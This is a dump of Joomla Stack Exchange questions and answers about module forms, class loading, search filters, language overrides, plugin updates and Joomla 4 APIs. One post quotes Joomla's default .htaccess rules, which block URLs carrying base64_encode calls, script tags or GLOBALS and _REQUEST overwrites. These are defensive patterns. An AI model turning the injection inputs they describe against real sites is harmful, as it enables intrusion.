  <row Id="26287" PostTypeId="1" CreationDate="2019-10-18T09:52:54.503" Score="1" ViewCount="158" Body="&lt;p&gt;I have a mutliple subform field with radio buttons. All other fields load by &lt;strong&gt;showon&lt;/strong&gt; of the related parent radio select.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If there was added more than one item without saving successively, the radio buttons-state transferred to all items and the showon items are only merged to the first one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This issue appears only by adding multiple items at once.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/WtYl6.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/WtYl6.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field name=&quot;field-name&quot; type=&quot;subform&quot;&#xA;    formsource=&quot;modules/mod_myimage/forms/test1.xml&quot; multiple=&quot;true&quot;&#xA;label=&quot;Subform Field&quot; description=&quot;Subform Field Description&quot; /&amp;gt;&#xA;&#xA;//test1.xml&#xA;    &amp;lt;field name=&quot;myradiovalue&quot; type=&quot;radio&quot; default=&quot;0&quot; label=&quot;Select an option&quot; description=&quot;&quot; class=&quot;btn-group btn-group-yesno&quot;&amp;gt;&#xA;        &amp;lt;option value=&quot;1&quot;&amp;gt;Heading&amp;lt;/option&amp;gt;&#xA;        &amp;lt;option value=&quot;2&quot;&amp;gt;Content&amp;lt;/option&amp;gt;&#xA;        &amp;lt;option value=&quot;3&quot;&amp;gt;Button&amp;lt;/option&amp;gt;&#xA;        &amp;lt;option value=&quot;4&quot;&amp;gt;Image&amp;lt;/option&amp;gt;&#xA;    &amp;lt;/field&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It is clear why this happens without unique id before saving, but how to fix this?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;label for=&quot;jform_params__field_name__field_nameX__myradiovalue2&quot; id=&quot;jform_params__field_name__**field_nameX**__myradiovalue2-lbl&quot; class=&quot;btn&quot;&amp;gt;Button&amp;lt;/label&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/x91ZZ.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/x91ZZ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12766" LastEditorUserId="12766" LastEditDate="2019-10-18T11:56:15.267" LastActivityDate="2019-10-18T11:56:15.267" Title="Multiple Subform field in module - add multiple items at once" Tags="|subform|showon|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="26288" PostTypeId="1" AcceptedAnswerId="26291" CreationDate="2019-10-18T23:36:22.497" Score="1" ViewCount="51" Body="&lt;p&gt;I have just upgraded my site from Joomla 3.7 to 3.9 and I am getting errors related to my code for a component model class that extends an administrator component model class. The &lt;code&gt;require_once&lt;/code&gt; line below was fine in Joomla 3.7. I replaced it with &lt;code&gt;JLoader::import&lt;/code&gt;, but no luck.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is the &lt;code&gt;JPATH_COMPONENT_ADMINISTRATOR&lt;/code&gt; constant no longer valid in Joomla 3.9?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The error I'm getting is:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;PHP Fatal error:  Class 'NoDiceModelWidget' not found in C:\xampp\htdocs\nodice\components\com_nodice\models\widget.php on line 8&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The import should be looking in &lt;strong&gt;C:\xampp\htdocs\nodice\administrator\components\com_nodice\models&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I import my administrator model to extend my front-end model?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;defined('_JEXEC') or die;&#xA;&#xA;//require_once JPATH_COMPONENT_ADMINISTRATOR.'/models/widget.php';&#xA;JLoader::import(JPATH_COMPONENT_ADMINISTRATOR.'/models/widget.php');&#xA;&#xA;class NoDiceModelAuthorWidget extends NoDiceModelWidget&#xA;{&#xA;    public function __construct($config = array())&#xA;    {&#xA;        parent::__construct($config);&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="11972" LastEditorUserId="11972" LastEditDate="2019-10-20T14:25:54.407" LastActivityDate="2019-10-21T22:40:45.207" Title="Extend an administrator class in the front end code" Tags="|jloader|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26289" PostTypeId="1" CreationDate="2019-10-19T09:30:22.460" Score="0" ViewCount="241" Body="&lt;p&gt;how to get value for search in joomla module.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know how to get the value for the search field? my problem is that after i search for specific data it still shows everything&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my helper.php I have this code. but doesn't work&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&#xA;    public function getFilterForm()&#xA;    {&#xA;        JHtml::_('bootstrap.tooltip');&#xA;        JHtml::_('behavior.multiselect');&#xA;        JHtml::_('formbehavior.chosen', 'select');&#xA;&#xA;        Form::addFormPath(dirname(__FILE__) . '/forms');&#xA;&#xA;        $form = Form::getInstance('module.filter', 'filter');&#xA;&#xA;&#xA;        return $form;&#xA;    }&#xA;&#xA;&#xA;        public function getFieldsvalue($params)&#xA;    {&#xA;        $db = JFactory::getDbo();&#xA;        $query = $db-&amp;gt;getQuery(true);&#xA;&#xA;        $query-&amp;gt;select('*')&#xA;                -&amp;gt;from('#__users');&#xA;&#xA;        $db-&amp;gt;setQuery($query);&#xA;        $rows = $db-&amp;gt;loadObjectList();&#xA;&#xA;        return $rows;&#xA;    }&#xA;&#xA;    public function loadFormData()&#xA;    {&#xA;        $data = $rows-&amp;gt;getFieldsvalue();&#xA;&#xA;        return $data;&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have a folder forms and inside it has filter.xml&lt;/p&gt;&#xA;&#xA;&lt;p&gt;in the tmpl folder. the in the default.php this is my code&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;form name=&quot;adminForm&quot; id=&quot;adminForm&quot;&amp;gt;&#xA;    &amp;lt;?php echo JLayoutHelper::render('joomla.searchtools.default', array ('view' =&amp;gt; (object) array ('filterForm' =&amp;gt; $form))); ?&amp;gt;&#xA;&#xA;    &amp;lt;table class=&quot;table table-striped&quot;&amp;gt;&#xA;  &amp;lt;thead class=&quot;thead-light&quot;&amp;gt;&#xA;    &amp;lt;tr&amp;gt;&#xA;      &amp;lt;th scope=&quot;col&quot;&amp;gt;#&amp;lt;/th&amp;gt;&#xA;      &amp;lt;th scope=&quot;col&quot;&amp;gt;Name&amp;lt;/th&amp;gt;&#xA;    &amp;lt;/tr&amp;gt;&#xA;  &amp;lt;/thead&amp;gt;&#xA;  &amp;lt;tbody&amp;gt;&#xA;      &amp;lt;?php foreach  ($rows as $item) {?&amp;gt;&#xA;    &amp;lt;tr&amp;gt;&#xA;      &amp;lt;th scope=&quot;row&quot;&amp;gt;&amp;lt;?php echo $item-&amp;gt;id; ?&amp;gt;&amp;lt;/th&amp;gt;&#xA;      &amp;lt;td&amp;gt;&amp;lt;?php echo $item-&amp;gt;name; ?&amp;gt;&amp;lt;/td&amp;gt;&#xA;    &amp;lt;/tr&amp;gt;&#xA;      &amp;lt;?php } ?&amp;gt;&#xA;  &amp;lt;/tbody&amp;gt;&#xA;&amp;lt;/table&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13848" LastActivityDate="2024-03-26T23:05:45.730" Title="how to get value for search in joomla module" Tags="|joomla-3.x|custom-module|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="26290" PostTypeId="2" ParentId="26289" CreationDate="2019-10-19T12:23:11.347" Score="0" Body="&lt;p&gt;The basics of what you need are in your filter .xml file there is a &lt;code&gt;name=&lt;/code&gt; field and that is where the text you want to filter your list will be stored. In the below example it is 'search.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;utf-8&amp;quot;?&amp;gt;&#xA;&amp;lt;form&amp;gt;&#xA;    &amp;lt;fields name=&amp;quot;filter&amp;quot;&amp;gt;&#xA;        &amp;lt;field name=&amp;quot;search&amp;quot; type=&amp;quot;text&amp;quot; hint=&amp;quot;COM_INVENTORY_SEARCH_FILTER_SUBMIT&amp;quot;&#xA;               label=&amp;quot;COM_USERS_FILTER_SEARCH_DESC&amp;quot;&#xA;               class=&amp;quot;js-stools-search-string&amp;quot; &#xA;               /&amp;gt;&#xA;    &amp;lt;/fields&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Because haven't answered my earlier question about if you are trying to filter the #__user table I can't be more specific other than to say normally your data base call would or should be be in a model and not a helper. This would extend JModelList that has a few auto-magical things happening in the background to help to wen dealing with data and tables.&lt;/p&gt;&#xA;&lt;p&gt;Either way in your function to query the table you need to have something like this line to retrieve the value from the search field from the User State&#xA;object where it should have been stored from your form.&#xA;// Filter by search&#xA;$search = $this-&amp;gt;getState('filter.search');&lt;/p&gt;&#xA;&lt;p&gt;And then you need to build add the Where clause to the query with something like this&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;if (!empty($search))&#xA;{&#xA;    if (stripos($search, 'id:') === 0)&#xA;    {&#xA;        $query-&amp;gt;where('a.id = ' . (int)substr($search, 3));&#xA;    }&#xA;    else&#xA;    {&#xA;        $search = $db-&amp;gt;quote('%' . $db-&amp;gt;escape($search, true) . '%');&#xA;        $query-&amp;gt;where([&#xA;            'a.ItemCode LIKE ' . $search,&#xA;            'a.GenericCode LIKE ' . $search,&#xA;            'a.Description LIKE ' . $search,&#xA;            'a.SupplierName LIKE ' . $search,&#xA;        ], 'OR');&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;There is not enough of your code  or an explanation to tell if your Form is correctly passing your value from the Filter/search box to the userState object, but this might be enough information above to help you progress.&lt;/p&gt;&#xA;" OwnerUserId="13306" LastEditorUserId="12352" LastEditDate="2020-11-12T19:58:26.010" LastActivityDate="2020-11-12T19:58:26.010" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="26291" PostTypeId="2" ParentId="26288" CreationDate="2019-10-20T16:20:45.000" Score="2" Body="&lt;p&gt;&lt;code&gt;JLoader::import()&lt;/code&gt; is generally meant for files that follow a certain naming convention. You can still use it as it will fall back to the specified filename, but you have to pass the basepath as the second argument:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JLoader::import('components.com_nodice.models.widget', JPATH_ADMINISTRATOR);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Alternatively, you could use &lt;code&gt;JLoader::register()&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JLoader::register('NoDiceModelWidget', JPATH_ADMINISTRATOR . '/components/com_nodice/models/widget.php');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12652" LastEditorUserId="12352" LastEditDate="2019-10-21T22:40:45.207" LastActivityDate="2019-10-21T22:40:45.207" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26292" PostTypeId="1" CreationDate="2019-10-20T18:17:26.277" Score="1" ViewCount="876" Body="&lt;p&gt;I have created one module in Joomla and added one form field of the type editor inside the manifest-XML.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field&#xA;    type=&quot;editor&quot;&#xA;    name=&quot;myeditor&quot;&#xA;    default=&quot;&quot;&#xA;    buttons=&quot;true&quot;&#xA;    hide=&quot;pagebreak,readmore&quot;&#xA;    label=&quot;MOD_TEST&quot;&#xA;    description=&quot;MOD_TEST_DESC&quot;&#xA;    filter=&quot;safehtml&quot;&#xA;/&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It is possible to insert an image via this editor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Everything works fine in the front end view, if there is no submenu. I mean: If the URL is &lt;code&gt;joomla-cms/&lt;/code&gt; the images are shown correcly. &#xA;But if the URL is &lt;code&gt;joomla-cms/index.php/home/mysubmenu&lt;/code&gt; because I view the module in a submenu. The picture link is broken.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I had a look at the Joomla Core Module &lt;code&gt;mod_custom&lt;/code&gt;. This module uses the tag &lt;code&gt;&amp;lt;customContent /&amp;gt;&lt;/code&gt;. I think I can not use this tag, because I need more than one editor field in my module.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One other solution would be to enter image path absolute. I do not want that. Is there another solution?&lt;/p&gt;&#xA;" OwnerUserId="7387" LastActivityDate="2020-07-18T16:07:20.757" Title="How to fix problem with relative path Joomla for a module using editor form field?" Tags="|joomla-3.x|module|editor|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="26293" PostTypeId="1" CreationDate="2019-10-20T22:41:36.640" Score="1" ViewCount="84" Body="&lt;p&gt;I don't want my board members bio's to be called miscellaneous information. To avoid that I'm putting bio's in the address field! This is not a good permanent solution. I would like to know if there is a way to change the label from &quot;Miscellaneous Information&quot; to &quot;Bio&quot;. The feature is good for my application. The name, miscellaneous information, not so much.&lt;/p&gt;&#xA;" OwnerUserId="13852" LastActivityDate="2019-11-20T00:02:15.407" Title="Joomla Contact Component - can I change &quot;Miscellaneous Information&quot; to &quot;Bio&quot;?" Tags="|overrides|contact|component-configuration|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="26294" PostTypeId="2" ParentId="26293" CreationDate="2019-10-20T23:48:26.183" Score="2" Body="&lt;p&gt;You can create an language override: &lt;a href=&quot;https://docs.joomla.org/J3.x:Language_Overrides_in_Joomla&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/J3.x:Language_Overrides_in_Joomla&lt;/a&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/KkzsC.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/KkzsC.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7387" LastActivityDate="2019-10-20T23:48:26.183" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="26295" PostTypeId="1" CreationDate="2019-10-21T04:00:45.683" Score="0" ViewCount="114" Body="&lt;p&gt;I've written a simple Joomla plugin that I've been using for a year.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to write an update for it. It would change what is in the .xml file and some code in the .php file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I go about doing this? What is the best practice? Do I create a new version and simply re-install it and that would overwrite what is there?&lt;/p&gt;&#xA;" OwnerUserId="3943" LastEditorUserId="3943" LastEditDate="2019-10-21T05:26:48.433" LastActivityDate="2019-10-21T22:03:25.933" Title="How do create an update for your existing Joomla plugin I've written?" Tags="|joomla-3.x|plugin|extension-update|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26296" PostTypeId="2" ParentId="26295" CreationDate="2019-10-21T06:02:27.113" Score="2" Body="&lt;p&gt;I would update your source .xml and .php with your changes and make sure you have &lt;code&gt;method=upgrade&lt;/code&gt; in the  line like this example. and change your &lt;code&gt;&amp;lt;version&amp;gt;&lt;/code&gt;to a higher number.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;old&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;extension version=&quot;3.9&quot; type=&quot;plugin&quot; group=&quot;content&quot; &amp;gt;&#xA;&amp;lt;version&amp;gt;0.0.1&amp;lt;/version&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;new&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;extension version=&quot;3.9&quot; type=&quot;plugin&quot; group=&quot;content&quot; method=&quot;upgrade&quot; &amp;gt;&#xA;&amp;lt;version&amp;gt;0.0.2&amp;lt;/version&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then when you install your new .zip it should overwrite the existing one.&lt;/p&gt;&#xA;" OwnerUserId="13306" LastEditorUserId="13306" LastEditDate="2019-10-21T22:03:25.933" LastActivityDate="2019-10-21T22:03:25.933" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="26297" PostTypeId="2" ParentId="26295" CreationDate="2019-10-21T09:37:06.083" Score="1" Body="&lt;p&gt;If you add the attribute &lt;code&gt;method=&quot;upgrade&quot;&lt;/code&gt; to the tag &lt;code&gt;extension&lt;/code&gt;, your plugin can be installed without uninstalling an earlier version. All existing files will be overwritten, but old files will not be deleted. So you do not need two versions - one for updating and one for new installation!&#xA;(&lt;a href=&quot;https://docs.joomla.org/J3.x:Creating_a_Plugin_for_Joomla&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/J3.x:Creating_a_Plugin_for_Joomla&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you create an update, then you should also consider setting up an update server: &lt;a href=&quot;https://docs.joomla.org/Deploying_an_Update_Server&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Deploying_an_Update_Server&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7387" LastActivityDate="2019-10-21T09:37:06.083" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="26298" PostTypeId="1" CreationDate="2019-10-21T10:52:21.113" Score="0" ViewCount="132" Body="&lt;p&gt;I have a component installed which doesn't provide multilingual support.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I import data via the API, I can't import in a different language, only in the default backend language.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately, the owner of the component doesn't want to implement the multilingual support in the API.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this case, I need to change the default backend language in my script which is using the API.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to import in language1, change the default language to language2, then import in language2.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Component is SobiPor (&lt;a href=&quot;https://www.sigsiu.net/center/sobipro-component&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.sigsiu.net/center/sobipro-component&lt;/a&gt;)&#xA;With this Component you can Import Data via CLI (&lt;a href=&quot;https://www.sigsiu.net/center/applications/272-importexport-application&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.sigsiu.net/center/applications/272-importexport-application&lt;/a&gt;)&#xA;Unfortunately i can't give out sample data because of the privacy policy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone have a solution?&lt;/p&gt;&#xA;" OwnerUserId="13853" LastEditorUserId="13853" LastEditDate="2019-10-26T13:01:43.627" LastActivityDate="2019-10-26T13:01:43.627" Title="Change default backend language programmatically" Tags="|joomla-3.x|joomla-api|multilingual|external-script|" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="26299" PostTypeId="2" ParentId="26292" CreationDate="2019-10-22T14:39:00.947" Score="1" Body="&lt;p&gt;I've now &lt;a href=&quot;https://stackoverflow.com/questions/33627910/joomla-3-broken-relative-url-addressing-images&quot;&gt;discovered&lt;/a&gt; that I need to insert a slash in front of the URL to load from the root directory. For example: &lt;code&gt;/joomla-cms/images/joomla_black.png&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is not good because many editors simply delete this slash. Also, the URL is not really relative anymore. It can not be easily used in a subdirectory anymore - for example in an test envirement with xampp.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then I found out that the Joomla SEF system plugin could not be activated. That plugin is for does checking and correction the relative path. This was not the problem for me either. The plugin was active. In my case, the plugin has been bypassed because I use the input in JavaScript.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Therefore, I change now the editor input in my JavaScript file myself. I store the URL before in php.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div data-uriroot='&amp;lt;?php echo JUri::root(); ?&amp;gt;'&amp;gt;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then I paste this line in JavaScript.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var uriroot = element.getAttribute('data-uriroot');&#xA;...&#xA;MEINE_DITORTEXT.replace(/&amp;lt;img src=&quot;images/g, '&amp;lt;img src=&quot;' + uriroot + 'images')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Maybe another person might need it?&lt;/p&gt;&#xA;" OwnerUserId="7387" LastActivityDate="2019-10-22T14:39:00.947" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="26301" PostTypeId="1" CreationDate="2019-10-22T16:02:34.387" Score="0" ViewCount="222" Body="&lt;p&gt;Install from Web tab initially returned a blank page in both Firefox and Chrome. I disabled then uninstalled plugin. When I click on &quot;Add Install from Web&quot; button, I get the following:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Error connecting to the server: Could not resolve host:&#xA;  s3-us-west-2.amazonaws.com&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Running Joomla! 3.9.12 with a bunch of addon extensions, but this error doesn't look like an extension-conflict error. &#xA;Thanks, &#xA;Kate&lt;/p&gt;&#xA;" OwnerUserId="6897" LastActivityDate="2019-10-23T10:16:08.953" Title="Install from web tab fails installation" Tags="|plugin|installation|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="26302" PostTypeId="1" CreationDate="2019-10-22T20:22:27.560" Score="0" ViewCount="136" Body="&lt;p&gt;I have been trying to add rewrite rule to .htaccess file but it does not seem to work. I have Joomla latest version and I am trying to do it by:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# Return 403 Forbidden header and show the content of the root homepage&#xA;RewriteRule index.php/en?option=com_users&amp;amp;amp;view=login [F]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So I paste it here:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteEngine On&#xA;# Return 403 Forbidden header and show the content of the root homepage&#xA;RewriteRule index.php/en?option=com_users&amp;amp;amp;view=login [F]&#xA;&#xA;## Begin - Rewrite rules to block out some common exploits.&#xA;# If you experience problems on your site then comment out the operations listed &#xA;# below by adding a # to the beginning of the line.&#xA;# This attempts to block the most common type of exploit `attempts` on Joomla!&#xA;#&#xA;# Block any script trying to base64_encode data within the URL.&#xA;RewriteCond %{QUERY_STRING} base64_encode[^(]*\([^)]*\) [OR]&#xA;# Block any script that includes a &amp;lt;script&amp;gt; tag in URL.&#xA;RewriteCond %{QUERY_STRING} (&amp;lt;|%3C)([^s]*s)+cript.*(&amp;gt;|%3E) [NC,OR]&#xA;# Block any script trying to set a PHP GLOBALS variable via URL.&#xA;RewriteCond %{QUERY_STRING} GLOBALS(=|\[|\%[0-9A-Z]{0,2}) [OR]&#xA;# Block any script trying to modify a _REQUEST variable via URL.&#xA;RewriteCond %{QUERY_STRING} _REQUEST(=|\[|\%[0-9A-Z]{0,2})&#xA;# Return 403 Forbidden header and show the content of the root home page&#xA;RewriteRule .* index.php [F]&#xA;#&#xA;## End - Rewrite rules to block out some common exploits.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What is possibly wrong?&lt;/p&gt;&#xA;" OwnerUserId="13178" LastActivityDate="2019-10-22T20:22:27.560" Title="Add rewrite rule for site login to .htaccess" Tags="|.htaccess-configuration|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="26303" PostTypeId="1" AcceptedAnswerId="26304" CreationDate="2019-10-22T21:59:37.057" Score="3" ViewCount="1733" Body="&lt;p&gt;In Joomla 3.x versions I use JResponse to get and set the body.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function onAfterRender() {&#xA;          $content = JResponse::getBody();&#xA;          ...&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But in Joomla4 it returns &lt;strong&gt;Class 'JResponse' not found&lt;/strong&gt;.&#xA;So how to get the body in Joomla4?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="7447" LastActivityDate="2021-05-22T12:22:35.723" Title="Joomla4 plugin getBody" Tags="|plugin|system-plugin|joomla-4.x|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="26304" PostTypeId="2" ParentId="26303" CreationDate="2019-10-22T22:47:29.780" Score="4" Body="&lt;p&gt;According to the &lt;a href=&quot;https://api.joomla.org/cms-3/classes/Joomla.CMS.Application.WebApplication.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;documentation&lt;/a&gt;, &lt;code&gt;JApplicationWeb&lt;/code&gt; seems to be alive and well in Joomla4.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;&lt;strong&gt;since&lt;/strong&gt; 2.5.0&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;&lt;strong&gt;note&lt;/strong&gt; As of 4.0 this class will be abstract&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;The getters:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;  JApplicationWeb::getBody()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Or&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;    JFactory::getApplication()-&amp;gt;getBody()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;The setters:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;  JApplicationWeb::setBody()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Or&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;    JFactory::getApplication()-&amp;gt;setBody()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;Relevant references and examples:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;All of the classes from J3 to J4 conversion. &lt;a href=&quot;https://github.com/joomla/joomla-cms/blob/4.0-dev/libraries/classmap.php&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/joomla/joomla-cms/blob/4.0-dev/libraries/classmap.php&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://forum.joomla.org/viewtopic.php?t=941835&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://forum.joomla.org/viewtopic.php?t=941835&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://joomla.stackexchange.com/q/20879/12352&quot;&gt;How to remove rel=&amp;quot;nofollow&amp;quot; with Joomla Buffer?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://joomla.stackexchange.com/q/10232/12352&quot;&gt;Joomla/PHP How can a plugin append a css class to the body section?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://joomla.stackexchange.com/q/9953/12352&quot;&gt;How plugin can check if meta tag exists?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://joomla.stackexchange.com/q/23835/12352&quot;&gt;How to get rendered full page before returning to the browser?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://joomla.stackexchange.com/q/9720/12352&quot;&gt;Problem with SSL after update to Jooma 3.4.1&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="12352" LastEditorUserId="7164" LastEditDate="2021-05-22T12:22:35.723" LastActivityDate="2021-05-22T12:22:35.723" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="26307" PostTypeId="2" ParentId="10107" CreationDate="2019-10-24T09:12:11.770" Score="0" Body="&lt;p&gt;In my case, I think it was because I don't close vim so swap files .swp exists in my dev folders!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With J!3.9.12 and 4.0.0-alpha10-dev&lt;/p&gt;&#xA;" OwnerUserId="13861" LastActivityDate="2019-10-24T09:12:11.770" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
